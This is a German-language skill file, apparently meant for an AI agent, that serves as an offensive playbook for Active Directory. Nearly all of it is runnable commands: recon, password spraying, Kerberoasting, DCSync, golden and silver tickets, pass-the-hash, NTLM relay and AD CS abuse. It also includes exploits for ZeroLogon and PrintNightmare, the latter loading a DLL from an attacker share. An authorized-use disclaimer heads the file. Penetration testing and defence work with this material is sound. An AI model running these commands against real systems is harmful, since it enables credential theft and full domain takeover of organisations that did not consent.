NUR FÜR AUTORISIERTE VERWENDUNG: Verwenden Sie diese Fähigkeit ausschließlich für autorisierte Sicherheitsbewertungen, defensive Validierung oder kontrollierte Bildungsumgebungen.
Active Directory Angriffe
Zweck
Bietet umfassende Techniken für Angriffe auf Microsoft Active Directory-Umgebungen. Deckt Reconnaissance, Credential Harvesting, Kerberos-Angriffe, laterale Bewegung, Privilegieneskalation und Domänenkontrolle für Red-Team-Operationen und Penetrationstests ab.
Eingaben/Voraussetzungen
- Kali Linux oder Windows Angriffsplattform
- Domänenbenutzer-Anmeldedaten (für die meisten Angriffe)
- Netzwerkzugriff auf den Domänencontroller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
Ausgaben/Liefergegenstände
- Domänen-Erkundungsdaten
- Extrahierte Anmeldedaten und Hashes
- Kerberos-Tickets für die Identitätsanmaßung
- Domänenadministrator-Zugriff
- Mechanismen für dauerhaften Zugriff
Essentielle Werkzeuge
| Werkzeug | Zweck |
|---|---|
| BloodHound | Visualisierung von AD-Angriffspfaden |
| Impacket | Python-AD-Angriffswerkzeuge |
| Mimikatz | Extraktion von Anmeldedaten |
| Rubeus | Kerberos-Angriffe |
| CrackMapExec | Netzwerkausnutzung |
| PowerView | AD-Erkundung |
| Responder | LLMNR/NBT-NS-Vergiftung |
Kern-Workflow
Schritt 1: Kerberos-Zeitsynchronisation
Kerberos erfordert eine Zeitsynchronisation (±5 Minuten):
# Uhrenversatz erkennen
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Uhr unter Linux korrigieren
sudo date -s "14 APR 2024 18:25:16"
# Uhr unter Windows korrigieren
net time /domain /set
# Gefälschte Uhr, ohne die Systemzeit zu ändern
faketime -f '+8h' <Befehl>
Schritt 2: AD-Erkundung mit BloodHound
# BloodHound starten
neo4j console
bloodhound --no-sandbox
# Daten mit SharpHound sammeln
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python-Collector (von Linux aus)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
Schritt 3: PowerView-Erkundung
# Domäneninfo abrufen
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Benutzer auflisten
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Gruppen auflisten
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Lokalen Administrationszugriff finden
Find-LocalAdminAccess -Verbose
# Benutzer-Jagd
Invoke-UserHunter
Invoke-UserHunter -Stealth
Credential-Angriffe
Passwort-Spraying
# Mit kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# Mit CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Kerberoasting
TGS-Tickets von Dienstkonten extrahieren und offline knacken:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# Mit hashcat knacken
hashcat -m 13100 hashes.txt rockyou.txt
AS-REP Roasting
Zielt auf Konten, die "Keine Kerberos-Preauthentifizierung erforderlich" haben:
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Mit hashcat knacken
hashcat -m 18200 hashes.txt rockyou.txt
DCSync-Angriff
Extrahiert Anmeldedaten direkt vom Domänencontroller (erfordert Replikationsverzeichnisänderungs-Rechte):
# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
Kerberos-Ticket-Angriffe
Pass-the-Ticket (Golden Ticket)
TGT mit krbtgt-Hash für jeden Benutzer fälschen:
# Zuerst krbtgt-Hash via DCSync abrufen
# Mimikatz - Golden Ticket erstellen
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
Silver Ticket
TGS für einen bestimmten Dienst fälschen:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
Pass-the-Hash
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
OverPass-the-Hash
NTLM-Hash in Kerberos-Ticket umwandeln:
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
NTLM-Relay-Angriffe
Responder + ntlmrelayx
# Responder starten (SMB/HTTP für Relay deaktivieren)
responder -I eth0 -wrf
# Relay starten
ntlmrelayx.py -tf targets.txt -smb2support
# LDAP-Relay für Delegationsangriff
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
SMB-Signierungsprüfung
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
Zertifikatsdienste-Angriffe (AD CS)
ESC1 - Fehlkonfigurierte Vorlagen
# Verwundbare Vorlagen finden
certipy find -u [email protected] -p password -dc-ip 10.10.10.10
# ESC1 ausnutzen
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]
# Mit Zertifikat authentifizieren
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ESC8 - Webanmeldungs-Relay
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Kritische CVEs
ZeroLogon (CVE-2020-1472)
# Verwundbarkeit prüfen
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# Ausnutzen
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# Hashes extrahieren
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
# Passwort wiederherstellen (wichtig!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
PrintNightmare (CVE-2021-1675)
# Auf Verwundbarkeit prüfen
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# Ausnutzen (erfordert Hosting einer schädlichen DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'
samAccountName-Spoofing (CVE-2021-42278/42287)
# Automatisierte Ausnutzung
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
Kurzreferenz
| Angriff | Werkzeug | Befehl |
|---|---|---|
| Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request |
| AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |
| Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH |
| Golden Ticket | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
| Spray | kerbrute | kerbrute passwordspray -d domain users.txt Pass |
Einschränkungen
Muss:
- Uhrzeit mit DC vor Kerberos-Angriffen synchronisieren
- Gültige Domänenanmeldedaten für die meisten Angriffe haben
- Alle kompromittierten Konten dokumentieren
Darf nicht:
- Konten durch übermäßiges Passwort-Spraying sperren
- Produktions-AD-Objekte ohne Genehmigung ändern
- Golden Tickets ohne Dokumentation hinterlassen
Sollte:
- BloodHound zur Angriffspfad-Erkennung ausführen
- Vor Relay-Angriffen auf SMB-Signierung prüfen
- Patch-Level für CVE-Ausnutzung überprüfen
Beispiele
Beispiel 1: Domänenkompromittierung via Kerberoasting
# 1. Dienstkonten mit SPNs finden
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. TGS-Tickets anfordern
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. Tickets knacken
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Geknacktes Dienstkonto verwenden
psexec.py domain.local/svc_admin:[email protected]
Beispiel 2: NTLM-Relay zu LDAP
# 1. Relay starten mit Ziel LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. Authentifizierung auslösen (z.B. via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. Erstelltes Maschinenkonto für RBCD-Angriff nutzen
Fehlerbehebung
| Problem | Lösung |
|---|---|
| Uhrenversatz zu groß | Uhrzeit mit DC synchronisieren oder faketime verwenden |
| Kerberoasting liefert leeres Ergebnis | Keine Dienstkonten mit SPNs |
| DCSync-Zugriff verweigert | Replikationsverzeichnisänderungs-Rechte erforderlich |
| NTLM-Relay fehlgeschlagen | SMB-Signierung prüfen, LDAP-Ziel versuchen |
| BloodHound leer | Überprüfen, ob Collector mit korrekten Anmeldedaten ausgeführt wurde |
Zusätzliche Ressourcen
Fortgeschrittene Techniken einschließlich Delegationsangriffen, GPO-Missbrauch, RODC-Angriffen, SCCM/WSUS-Bereitstellung, ADCS-Ausnutzung, Vertrauensbeziehungen und Linux-AD-Integration finden Sie unter references/advanced-attacks.md.
Verwendung
Diese Fähigkeit ist anwendbar, um den im Überblick beschriebenen Workflow oder die beschriebenen Aktionen auszuführen.